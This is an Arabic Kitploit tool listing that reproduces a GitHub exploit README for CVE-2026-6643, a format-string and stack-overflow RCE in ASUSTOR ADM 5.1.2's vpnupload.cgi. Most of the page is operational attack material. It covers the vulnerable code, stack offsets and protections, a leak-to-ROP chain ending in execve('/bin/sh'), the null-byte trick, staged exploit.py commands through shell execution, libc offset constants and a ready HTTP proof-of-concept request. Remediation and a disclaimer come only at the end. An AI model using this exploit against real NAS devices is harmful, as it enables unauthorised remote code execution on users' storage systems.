Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/mlgzackfly/cve-2026-6643
تحليل الثغرات الأمنيةالاستغلالشيل كوداستغلال تطبيقات الويباختبار الاختراقتطوير الحمولاتاستغلال الملفات الثنائية
GitHubmlgzackfly/cve-2026-6643

CVE-2026-6643

ASUSTOR ADM 5.1.2 vpnupload.cgi ثغرة تنسيق السلسلة وتجاوز سعة المخزن المؤقت للمكدس RCE (CVE-2026-6643)

عرض المستودع
2منذ 4 أشهرلم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-6643 — ثغرة RCE في ASUSTOR ADM 5.1.2

تنسيق السلسلة (CWE-134) + تجاوز سعة المخزن المؤقت في المكدس (CWE-121) في vpnupload.cgi

ملخص الثغرة

الحقلالقيمة
المنتجASUSTOR ADM (ASUSTOR Data Master)
الإصدار المتأثرADM 5.1.2.REO1 (X64_G3, 2026-02-25)
المكوّن/portal/apis/settings/vpnupload.cgi — إجراء upload_wireguard
نوع الثغرةCWE-134 تنسيق السلسلة / CWE-121 تجاوز سعة المخزن المؤقت في المكدس
الخطورةعالية
يتطلب مصادقةنعم (ملف تعريف ارتباط Revive_Session صالح)
تاريخ الاكتشاف2026-03-14

تفاصيل الثغرة

الثغرة (أ) — تنسيق السلسلة (CWE-134)

يقوم معالج upload_wireguard بتحليل ملف إعداد WireGuard، ويجمع الحقول في كائن JSON، ثم يمرّر النتيجة مباشرةً كوسيطة سلسلة تنسيق إلى printf():

root@kitploit:~
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2);    // user-controlled format string

يمكن للمهاجم تضمين محددات تنسيق printf في أي حقل من حقول إعداد WireGuard:

  • %x / %p — قراءة ذاكرة المكدس (تسريب معلومات)
  • %n — الكتابة إلى ذاكرة عشوائية (تنفيذ كود عبر الكتابة فوق GOT)

الثغرة (ب) — تجاوز سعة المخزن المؤقت في المكدس (CWE-121)

يستخدم المعالج نفسه sscanf("%s") غير المقيّدة لنسخ قيم الإعداد إلى مخازن مؤقتة في المكدس بحجم 300 بايت، بينما يقبل fgets حتى 32,768 بايت لكل سطر:

root@kitploit:~
__isoc23_sscanf(__s, "PrivateKey = %s",           local_ac4);   // 300B
__isoc23_sscanf(__s, "Endpoint = %s",             local_164);   // 300B
// 8 fields total; only DNS has a length limit

يؤدي تزويد أكثر من 300 بايت إلى تجاوز في المخازن المؤقتة المجاورة. وعند 4,000 بايت يُتلف عنوان RIP المحفوظ، مما يسبب SIGSEGV.

وسائل الحماية في الملف الثنائي

الحمايةالحالةالتأثير
FORTIFY_SOURCEمعطّلةprintf (وليس __printf_chk) — كتابة %n تعمل
Stack Canaryمعطّلةلا يلزم تسريب حارس المكدس
PIEمعطّلةعناوين GOT وgadgets ثابتة
RELROجزئيGOT قابل للكتابة

سلسلة الاستغلال

root@kitploit:~
Step 1  Format string %x   →  Leak stack memory, recover libc base
Step 2  Endpoint overflow   →  Overwrite saved RIP with one-gadget / system()
Step 3  execve("/bin/sh")   →  Shell as the web server user

لماذا يُعد حقل Endpoint أفضل هدف للتجاوز

تقع local_164 (مخزن Endpoint المؤقت) عند rbp-0x164، وهي الأقرب من بين المخازن الثمانية إلى عنوان الإرجاع المحفوظ:

root@kitploit:~
Stack layout (Ghidra):
  local_ac4  PrivateKey           rbp-0xac4   300B
  local_998  Address              rbp-0x998   300B
  local_86c  PublicKey            rbp-0x86c   300B
  local_740  ListenPort           rbp-0x740   300B
  local_4e8  PresharedKey         rbp-0x4e8   300B
  local_3bc  AllowedIPs           rbp-0x3bc   300B
  local_290  PersistentKeepalive  rbp-0x290   300B
  local_164  Endpoint             rbp-0x164   300B  ← target
  saved RBP                       rbp+0x000
  saved RIP                       rbp+0x008   ← 0x164 + 8 = 364 bytes away

تجاوز بايت الصفر

يتوقف sscanf("%s") عن النسخ عند بايت الصفر. ينتهي عنوان libc (0x7f...) في تمثيل little-endian ببايتي صفر. غير أن البايتين العلويين لأي عنوان RIP محفوظ يحملان بالفعل 0x0000، لذا تكتمل الكتابة بشكل صحيح حتى لو أنهى sscanf العمل مبكرًا:

root@kitploit:~
one_gadget address 0x00007f1234567890 (little-endian):
  \x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
                                ^--- sscanf stops here
                                     but these bytes were already 0x00 → correct

يجب أن تأتي جميع أدوات ROP الوسيطة أيضًا من libc (نطاق 0x7f...) لتجنّب بايتات الصفر المضمّنة. فقط القيمة الأخيرة في السلسلة قد تنتهي بأصفار.

المتطلبات

root@kitploit:~
uv add requests

الاستخدام

الخطوة 1 — كشف إزاحة وسيطة سلسلة التنسيق

root@kitploit:~
uv run exploit.py <host:port> '<cookie>' --stage offset

مثال على المخرجات:

root@kitploit:~
[*] Detecting format string argument offset...
[+] Offset: 8  (echo: AAAA.41414141...)

الخطوة 2 — تسريب قاعدة libc

root@kitploit:~
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8

مثال على المخرجات:

root@kitploit:~
[+] Stack dump (args 8..47):
    [  8]  0x0000000000000000
    [  9]  0x00007f8b2c3d4e5f  ← libc candidate
    ...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
    Subtract the known offset of whichever symbol this is:
    libc_base = 0x7f8b2c3d4e5f - <symbol_offset>

حدّد الرمز واحسب قاعدة libc:

root@kitploit:~
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f

الخطوة 3 — RCE

root@kitploit:~
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000

# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000

الخطوة 4 — تشغيل الأوامر (بعد الكتابة فوق GOT)

root@kitploit:~
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'

الحصول على إزاحات libc

استخرج libc.so.6 من صورة البرنامج الثابت (firmware)، ثم نفّذ:

root@kitploit:~
# system() offset
readelf -s libc.so.6 | grep -w system

# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'

# one_gadget offsets
one_gadget libc.so.6    # gem install one_gadget

حدّث الثوابت في exploit.py:

root@kitploit:~
LIBC_SYSTEM      = 0x055410
LIBC_BINSH       = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]

إثبات المفهوم

تسريب سلسلة التنسيق

root@kitploit:~
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND

--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"

dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"

[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1

[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--

ملاحظة: يلزم وجود قسمين من multipart. يستخدم المحلّل عدّادًا للحدود؛ ولا يُفعّل تحليل sscanf إلا في القسم الثاني.

الاستجابة (حقل clientprivatekey):

root@kitploit:~
AAAA_feebd19f_0000012b_0000007d_00000002

تجاوز سعة المخزن المؤقت في المكدس (تعطّل)

اضبط PrivateKey على 4,000 بايت → SIGSEGV (رمز الخروج 139).

المعالجة

الثغرةالإصلاح
تنسيق السلسلةاستبدل printf(pcVar2) بـ printf("%s", pcVar2) أو fputs(pcVar2, stdout)
تجاوز سعة المخزن المؤقتأضف حدود طول إلى جميع سلاسل تنسيق sscanf (مثل %299s للمخازن المؤقتة بحجم 300 بايت)

بيئة الاختبار

  • البرنامج الثابت: X64_G3_5.1.2.REO1.img — تم استخراج vpnupload.cgi من الصورة
  • المنصة: x86-64 Linux، مع استخدام ld-linux الخاص بالبرنامج الثابت والمكتبات المشتركة
  • تجاوز المصادقة: تصحيح بايت واحد je → jmp عند الإزاحة 0x1224 (للاختبار المحلي فقط)

المراجع

  • مقال بحثي: https://blog.mlgzackfly.tw/cve-2026-6643/

إخلاء مسؤولية

هذا الاستغلال مُقدَّم لأغراض البحث الأمني والاختبار المصرّح به فقط. لا تستخدمه ضد أنظمة دون إذن صريح.

تنزيل الأداة